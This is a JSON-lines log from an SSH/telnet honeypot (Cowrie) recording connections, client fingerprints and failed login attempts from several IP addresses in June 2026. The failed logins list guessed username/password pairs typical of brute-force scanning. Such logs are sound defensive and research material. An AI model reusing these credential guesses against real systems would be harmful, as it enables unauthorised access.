{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:41.826296Z","src_ip":"43.153.12.68","session":"91ba39a3c3dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:41.898296Z","src_ip":"43.153.12.68","session":"91ba39a3c3dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lea","password":"lea123","message":"login attempt [lea/lea123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:42.206256Z","src_ip":"43.153.12.68","session":"91ba39a3c3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:43.067404Z","src_ip":"103.15.222.183","session":"7dd5b1dba660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:43.275890Z","src_ip":"43.153.12.68","session":"91ba39a3c3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":41482,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcddce8f6ad9","protocol":"ssh","message":"New connection: 165.154.137.186:41482 (10.17.0.5:22) [session: fcddce8f6ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:44.252611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:44.256915Z","src_ip":"165.154.137.186","session":"fcddce8f6ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:44.508779Z","src_ip":"165.154.137.186","session":"fcddce8f6ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:45.342143Z","src_ip":"165.154.137.186","session":"fcddce8f6ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.71650528907776,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:45.827447Z","src_ip":"128.199.8.54","session":"4133ce57d90d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:46.595291Z","src_ip":"165.154.137.186","session":"fcddce8f6ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40316,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c11b2795c83","protocol":"ssh","message":"New connection: 165.154.137.186:40316 (10.17.0.5:22) [session: 9c11b2795c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:50.613820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:50.617278Z","src_ip":"165.154.137.186","session":"9c11b2795c83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46672,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e69ea5a5548","protocol":"ssh","message":"New connection: 165.154.137.186:46672 (10.17.0.5:22) [session: 2e69ea5a5548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:50.809805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:50.813652Z","src_ip":"165.154.137.186","session":"2e69ea5a5548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:50.875274Z","src_ip":"165.154.137.186","session":"9c11b2795c83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:51.074613Z","src_ip":"165.154.137.186","session":"2e69ea5a5548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:51.706125Z","src_ip":"165.154.137.186","session":"9c11b2795c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:51.938560Z","src_ip":"165.154.137.186","session":"2e69ea5a5548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:52.966993Z","src_ip":"165.154.137.186","session":"9c11b2795c83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:53.201702Z","src_ip":"165.154.137.186","session":"2e69ea5a5548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":46682,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d38126a111","protocol":"ssh","message":"New connection: 165.154.137.186:46682 (10.17.0.5:22) [session: 57d38126a111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:58.674411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:58.678411Z","src_ip":"165.154.137.186","session":"57d38126a111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:58.943653Z","src_ip":"165.154.137.186","session":"57d38126a111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:46:59.744590Z","src_ip":"165.154.137.186","session":"57d38126a111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:01.010554Z","src_ip":"165.154.137.186","session":"57d38126a111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46434,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e5646cb0370","protocol":"telnet","message":"New connection: 128.199.8.54:46434 (159.203.135.109:23) [session: 9e5646cb0370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:01.594853Z"}
{"eventid":"cowrie.session.closed","duration":0.005419015884399414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:01.600075Z","src_ip":"128.199.8.54","session":"9e5646cb0370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.880852699279785,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:05.291824Z","src_ip":"94.23.66.112","session":"41ec886e7d4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50178,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce8f13961834","protocol":"ssh","message":"New connection: 165.154.137.186:50178 (10.17.0.5:22) [session: ce8f13961834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:06.317891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:06.321511Z","src_ip":"165.154.137.186","session":"ce8f13961834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:06.588983Z","src_ip":"165.154.137.186","session":"ce8f13961834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:07.740339Z","src_ip":"165.154.137.186","session":"ce8f13961834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:09.010871Z","src_ip":"165.154.137.186","session":"ce8f13961834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":60284,"dst_ip":"10.17.0.5","dst_port":22,"session":"8618541272de","protocol":"ssh","message":"New connection: 103.216.145.2:60284 (10.17.0.5:22) [session: 8618541272de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:11.171145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:11.175382Z","src_ip":"103.216.145.2","session":"8618541272de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:11.370482Z","src_ip":"103.216.145.2","session":"8618541272de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123.","message":"login attempt [root/Root123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:12.185895Z","src_ip":"103.216.145.2","session":"8618541272de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:13.383110Z","src_ip":"103.216.145.2","session":"8618541272de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59294,"dst_ip":"159.203.135.109","dst_port":23,"session":"68e8378f54aa","protocol":"telnet","message":"New connection: 128.199.8.54:59294 (159.203.135.109:23) [session: 68e8378f54aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:18.143521Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49678,"dst_ip":"159.203.135.109","dst_port":23,"session":"a545f235f607","protocol":"telnet","message":"New connection: 107.6.151.170:49678 (159.203.135.109:23) [session: a545f235f607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:22.252011Z"}
{"eventid":"cowrie.session.closed","duration":23.9513201713562,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:42.094697Z","src_ip":"128.199.8.54","session":"68e8378f54aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":58776,"dst_ip":"10.17.0.5","dst_port":22,"session":"434613e0e4cd","protocol":"ssh","message":"New connection: 38.148.249.2:58776 (10.17.0.5:22) [session: 434613e0e4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:44.743263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:44.748059Z","src_ip":"38.148.249.2","session":"434613e0e4cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:44.817184Z","src_ip":"38.148.249.2","session":"434613e0e4cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1q2w3e4r5t","message":"login attempt [deploy/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:47:45.131790Z","src_ip":"38.148.249.2","session":"434613e0e4cd","protocol":"ssh"}
